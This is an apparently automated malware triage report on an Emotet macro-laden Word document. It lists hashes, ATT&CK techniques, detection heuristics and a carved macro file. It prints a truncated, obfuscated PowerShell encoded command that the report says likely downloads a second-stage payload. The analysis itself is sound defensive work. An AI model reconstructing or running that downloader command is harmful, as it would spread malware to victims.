Emotet Office (OLE) malware analysis — malicious · cef5fe8cb42c84d6

MALICIOUS

Office (OLE)

165.3 KB Created: 2020-09-15 19:31:00 Authoring application: Microsoft Office Word

MD5: 4d939e9e04b591115d9971e9b2f244e2 SHA-1: 38eafa360d7f4912c751b7a0e216ed1949134a60 SHA-256: cef5fe8cb42c84d6b646353c977ec12cd7118000eb906b2ff5625158c998c8b5

240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The critical ClamAV detection and high-severity heuristics for VBA macros, specifically the Document_Open auto-execution and CreateObject calls, strongly indicate a malicious document. The presence of a VBA macro in macros.bas, coupled with the Emotet family detection, suggests this file is a downloader. The embedded URL, though benign according to reputation, is likely a placeholder or part of a more complex delivery chain not fully represented here. The reconstructed string 'powershell -2vhaghsghfll -2vhaghsghfe JABEAG8ANA2vhaghsghfAD0AKAAnAF2vhaghsghfQAbgAnACsA2vhaghsghfKAAnADkAOQ2vhaghsghfAyACcAKwAn2vhaghsghfAGQAJwApAC2vhaghsghfsAJwBiACcA2vhaghsghfKQA7ACYAKA2vhaghsghfAnAG4AZQB32vhaghsghfACcAKwAnAC2vhaghsghf0AaQB0AGUA2vhaghsghfbQAnACkAIA2vhaghsghfAkAGUAbgBW2vhaghsghfADoAVQBTAE2vhaghsghfUAUgBQAHIA2vhaghsghfTwBGAEkATA2vhaghsghfBlAFwARAB62vhaghsghfAFIAbgBPAD2vhaghsghfUAOQBcAFQA2vhaghsghfVwBmAGgAdA2vhaghsghfBNAEoAXAAg2vhaghsghfAC0AaQB0AG2vhaghsghfUAbQB0AHkA2vhaghsghfcABlACAARA2vhaghsghfBpAHIARQBD2vhaghsghfAHQAbwByAH2vhaghsghf8AaQBuAHQA2vhaghsghfTQBhAG4AYQ2vhaghsghfBnAGUAcgBd2vhaghsghfADoAOgAiAH2vhaghsghfMARQBgAEMA2vhaghsghfdQByAGAASQ2vhaghsghfBgAFQAeQBw2vhaghsghfAHIATwB0AE2vhaghsghf8AYABDAE8A2vhaghsghfTAAiACAAPQ2vhaghsghfAgACgAKAAn2vhaghsghfAHQAbABzAC2vhaghsghfcAKwAnADEA2vhaghsghfMgAsACAAJw2vhaghsghfApACsAKAAn2vhaghsghfAHQAbAAnAC2vhaghsghfsAJwBzADEA2vhaghsghfJwApACsAKA2vhaghsghfAnADEAJwAr2vhaghsghfACcALAAgAC2vhaghsghfcAKQArACcA2vhaghsghfdAAnACsAJw2vhaghsghfBsAHMAJwAp2vhaghsghfADsAJABDAD2vhaghsghfgAZwBwAGQA2vhaghsghfMgA2ACAAPQ2vhaghsghfAgACgAJwBT2vhaghsghfAHgAJwArAC2vhaghsghfgAJwAwAGQA2vhaghsghfJwArACcAc' appears to be a PowerShell command, likely used to download and execute a second-stage payload.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-9761754-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-9761754-0
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `75714e73d3e8750b3760209a7997fccc8b6d96f31b59fa1d20ad2b0ef4583864`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	25430 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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